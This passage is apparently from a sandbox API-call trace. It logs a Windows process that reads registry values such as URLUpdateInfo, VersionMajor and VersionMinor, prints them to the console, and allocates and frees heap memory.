lpUsedDefaultChar=0x0) returned 1 [0149.875] GetConsoleOutputCP () returned 0x1b5 [0149.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.875] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.875] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.875] GetProcessHeap () returned 0x3c0000 [0149.875] GetProcessHeap () returned 0x3c0000 [0149.875] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.875] GetProcessHeap () returned 0x3c0000 [0149.875] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.876] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.876] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.876] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.876] GetProcessHeap () returned 0x3c0000 [0149.876] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.876] GetProcessHeap () returned 0x3c0000 [0149.876] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.876] GetProcessHeap () returned 0x3c0000 [0149.876] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.876] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.876] __iob_func () returned 0x7fefd702a80 [0149.876] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.876] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.876] _fileno (_File=0x7fefd702ab0) returned 1 [0149.876] _errno () returned 0x204bb0 [0149.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.876] _errno () returned 0x204bb0 [0149.876] GetFileType (hFile=0x50) returned 0x1 [0149.876] lstrlenW (lpString=" ") returned 4 [0149.876] GetConsoleOutputCP () returned 0x1b5 [0149.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.876] GetConsoleOutputCP () returned 0x1b5 [0149.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.877] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.877] __iob_func () returned 0x7fefd702a80 [0149.877] _fileno (_File=0x7fefd702ab0) returned 1 [0149.877] _errno () returned 0x204bb0 [0149.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.877] _errno () returned 0x204bb0 [0149.877] GetFileType (hFile=0x50) returned 0x1 [0149.877] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.877] GetConsoleOutputCP () returned 0x1b5 [0149.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.877] GetConsoleOutputCP () returned 0x1b5 [0149.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0149.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.877] __iob_func () returned 0x7fefd702a80 [0149.877] _fileno (_File=0x7fefd702ab0) returned 1 [0149.877] _errno () returned 0x204bb0 [0149.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.877] _errno () returned 0x204bb0 [0149.877] GetFileType (hFile=0x50) returned 0x1 [0149.877] lstrlenW (lpString=" ") returned 4 [0149.878] GetConsoleOutputCP () returned 0x1b5 [0149.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.878] GetConsoleOutputCP () returned 0x1b5 [0149.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.878] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.878] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.878] __iob_func () returned 0x7fefd702a80 [0149.878] _fileno (_File=0x7fefd702ab0) returned 1 [0149.878] _errno () returned 0x204bb0 [0149.878] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.878] _errno () returned 0x204bb0 [0149.878] GetFileType (hFile=0x50) returned 0x1 [0149.878] lstrlenW (lpString="REG_SZ") returned 6 [0149.878] GetConsoleOutputCP () returned 0x1b5 [0149.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.878] GetConsoleOutputCP () returned 0x1b5 [0149.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.878] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.878] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.879] __iob_func () returned 0x7fefd702a80 [0149.879] _fileno (_File=0x7fefd702ab0) returned 1 [0149.879] _errno () returned 0x204bb0 [0149.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.879] _errno () returned 0x204bb0 [0149.879] GetFileType (hFile=0x50) returned 0x1 [0149.879] lstrlenW (lpString=" ") returned 4 [0149.879] GetConsoleOutputCP () returned 0x1b5 [0149.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.879] GetConsoleOutputCP () returned 0x1b5 [0149.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.879] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.879] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.879] __iob_func () returned 0x7fefd702a80 [0149.879] _fileno (_File=0x7fefd702ab0) returned 1 [0149.879] _errno () returned 0x204bb0 [0149.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.879] _errno () returned 0x204bb0 [0149.879] GetFileType (hFile=0x50) returned 0x1 [0149.879] lstrlenW (lpString="") returned 0 [0149.879] __iob_func () returned 0x7fefd702a80 [0149.879] _fileno (_File=0x7fefd702ab0) returned 1 [0149.879] _errno () returned 0x204bb0 [0149.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.879] _errno () returned 0x204bb0 [0149.879] GetFileType (hFile=0x50) returned 0x1 [0149.879] lstrlenW (lpString="\n") returned 1 [0149.879] GetConsoleOutputCP () returned 0x1b5 [0149.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.880] GetConsoleOutputCP () returned 0x1b5 [0149.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.880] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.880] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.880] GetProcessHeap () returned 0x3c0000 [0149.880] GetProcessHeap () returned 0x3c0000 [0149.880] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.880] GetProcessHeap () returned 0x3c0000 [0149.880] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.880] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.880] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.880] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.880] GetProcessHeap () returned 0x3c0000 [0149.880] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.880] GetProcessHeap () returned 0x3c0000 [0149.880] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.880] GetProcessHeap () returned 0x3c0000 [0149.880] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.880] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xe, pcbData=0x29f780*=0x4) returned 0x0 [0149.880] __iob_func () returned 0x7fefd702a80 [0149.880] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.880] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.880] _fileno (_File=0x7fefd702ab0) returned 1 [0149.880] _errno () returned 0x204bb0 [0149.880] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.880] _errno () returned 0x204bb0 [0149.880] GetFileType (hFile=0x50) returned 0x1 [0149.881] lstrlenW (lpString=" ") returned 4 [0149.881] GetConsoleOutputCP () returned 0x1b5 [0149.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.881] GetConsoleOutputCP () returned 0x1b5 [0149.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.881] lstrlenW (lpString="VersionMajor") returned 12 [0149.881] __iob_func () returned 0x7fefd702a80 [0149.881] _fileno (_File=0x7fefd702ab0) returned 1 [0149.881] _errno () returned 0x204bb0 [0149.881] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.881] _errno () returned 0x204bb0 [0149.881] GetFileType (hFile=0x50) returned 0x1 [0149.881] lstrlenW (lpString="VersionMajor") returned 12 [0149.881] GetConsoleOutputCP () returned 0x1b5 [0149.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.881] GetConsoleOutputCP () returned 0x1b5 [0149.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0149.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.882] __iob_func () returned 0x7fefd702a80 [0149.882] _fileno (_File=0x7fefd702ab0) returned 1 [0149.882] _errno () returned 0x204bb0 [0149.882] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.882] _errno () returned 0x204bb0 [0149.882] GetFileType (hFile=0x50) returned 0x1 [0149.882] lstrlenW (lpString=" ") returned 4 [0149.882] GetConsoleOutputCP () returned 0x1b5 [0149.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.884] GetConsoleOutputCP () returned 0x1b5 [0149.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.884] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.884] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.884] __iob_func () returned 0x7fefd702a80 [0149.884] _fileno (_File=0x7fefd702ab0) returned 1 [0149.884] _errno () returned 0x204bb0 [0149.884] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.884] _errno () returned 0x204bb0 [0149.884] GetFileType (hFile=0x50) returned 0x1 [0149.884] lstrlenW (lpString="REG_DWORD") returned 9 [0149.884] GetConsoleOutputCP () returned 0x1b5 [0149.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.884] GetConsoleOutputCP () returned 0x1b5 [0149.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.884] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.884] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.884] __iob_func () returned 0x7fefd702a80 [0149.884] _fileno (_File=0x7fefd702ab0) returned 1 [0149.885] _errno () returned 0x204bb0 [0149.885] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.885] _errno () returned 0x204bb0 [0149.885] GetFileType (hFile=0x50) returned 0x1 [0149.885] lstrlenW (lpString=" ") returned 4 [0149.885] GetConsoleOutputCP () returned 0x1b5 [0149.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.885] GetConsoleOutputCP () returned 0x1b5 [0149.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.885] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.885] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.885] __iob_func () returned 0x7fefd702a80 [0149.885] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.885] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xe") returned 3 [0149.885] _fileno (_File=0x7fefd702ab0) returned 1 [0149.885] _errno () returned 0x204bb0 [0149.885] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.885] _errno () returned 0x204bb0 [0149.885] GetFileType (hFile=0x50) returned 0x1 [0149.885] lstrlenW (lpString="0xe") returned 3 [0149.885] GetConsoleOutputCP () returned 0x1b5 [0149.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.885] GetConsoleOutputCP () returned 0x1b5 [0149.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe", lpUsedDefaultChar=0x0) returned 3 [0149.886] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.886] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.886] __iob_func () returned 0x7fefd702a80 [0149.886] _fileno (_File=0x7fefd702ab0) returned 1 [0149.886] _errno () returned 0x204bb0 [0149.886] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.886] _errno () returned 0x204bb0 [0149.886] GetFileType (hFile=0x50) returned 0x1 [0149.886] lstrlenW (lpString="\n") returned 1 [0149.886] GetConsoleOutputCP () returned 0x1b5 [0149.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.886] GetConsoleOutputCP () returned 0x1b5 [0149.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.886] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.886] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.886] GetProcessHeap () returned 0x3c0000 [0149.886] GetProcessHeap () returned 0x3c0000 [0149.886] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.886] GetProcessHeap () returned 0x3c0000 [0149.886] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.886] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.886] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.887] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.887] GetProcessHeap () returned 0x3c0000 [0149.887] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.887] GetProcessHeap () returned 0x3c0000 [0149.887] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.887] GetProcessHeap () returned 0x3c0000 [0149.887] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.887] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xa, pcbData=0x29f780*=0x4) returned 0x0 [0149.887] __iob_func () returned 0x7fefd702a80 [0149.887] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.887] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.887] _fileno (_File=0x7fefd702ab0) returned 1 [0149.887] _errno () returned 0x204bb0 [0149.887] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.887] _errno () returned 0x204bb0 [0149.887] GetFileType (hFile=0x50) returned 0x1 [0149.887] lstrlenW (lpString=" ") returned 4 [0149.887] GetConsoleOutputCP () returned 0x1b5 [0149.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.887] GetConsoleOutputCP () returned 0x1b5 [0149.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.888] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.888] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.888] lstrlenW (lpString="VersionMinor") returned 12 [0149.888] __iob_func () returned 0x7fefd702a80 [0149.888] _fileno (_File=0x7fefd702ab0) returned 1 [0149.888] _errno () returned 0x204bb0 [0149.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.888] _errno () returned 0x204bb0 [0149.888] GetFileType (hFile=0x50) returned 0x1 [0149.888] lstrlenW (lpString="VersionMinor") returned 12 [0149.888] GetConsoleOutputCP () returned 0x1b5 [0149.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.888] GetConsoleOutputCP () returned 0x1b5 [0149.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0149.888] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.888] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.888] __iob_func () returned 0x7fefd702a80 [0149.888] _fileno (_File=0x7fefd702ab0) returned 1 [0149.888] _errno () returned 0x204bb0 [0149.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.888] _errno () returned 0x204bb0 [0149.888] GetFileType (hFile=0x50) returned 0x1 [0149.888] lstrlenW (lpString=" ") returned 4 [0149.888] GetConsoleOutputCP () returned 0x1b5 [0149.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.889] GetConsoleOutputCP () returned 0x1b5 [0149.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.889] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.889] __iob_func () returned 0x7fefd702a80 [0149.889] _fileno (_File=0x7fefd702ab0) returned 1 [0149.889] _errno () returned 0x204bb0 [0149.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.889] _errno () returned 0x204bb0 [0149.889] GetFileType (hFile=0x50) returned 0x1 [0149.889] lstrlenW (lpString="REG_DWORD") returned 9 [0149.889] GetConsoleOutputCP () returned 0x1b5 [0149.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.889] GetConsoleOutputCP () returned 0x1b5 [0149.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.889] fflush (in: _File=0x7fefd702ab0 | out: 